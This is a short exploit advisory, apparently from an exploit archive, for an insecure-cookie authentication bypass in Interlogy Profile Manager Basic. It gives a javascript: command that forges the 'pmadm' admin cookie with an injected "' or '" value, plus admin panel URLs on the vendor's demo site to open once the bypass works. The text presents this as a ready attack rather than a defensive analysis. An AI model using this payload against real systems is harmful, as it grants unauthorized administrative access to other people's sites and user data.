Interlogy Profile Manager Basic Insecure Cookie Handling Vulnerability

======================================================================
Interlogy Profile Manager Basic Insecure Cookie Handling Vulnerability
======================================================================


[~] interlogy Profile Manager Basic (for ByPass) Insecure Cookie Handling Vulnerability 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06/06/2009
[~] 
[~] N0T: Kpss AnanI ....
[~] -----------------------------------------------------------

desc:

normal login for cookie

pmadm=dGVzdA;

if y do this:

pmadm=dGVzd(write any thing);

example:

pmadm=dGVzdz;  

or

pmadm=dGVzd123231212313;

not login 

if y do wthis:

pmadm=dGVzd ' or ';

boom this loggin :D

exp:

javascript:document.cookie = "pmadm=dGVzd ' or '; path=/";

after you go here:

http://demo.interlogy.com/pm3/cgi/admin.cgi?action=edittemp

or http://demo.interlogy.com/pm3/cgi/admin.cgi?action=users

[~]----------------------------------------------------------------------



#  0day.today [2018-04-13]  #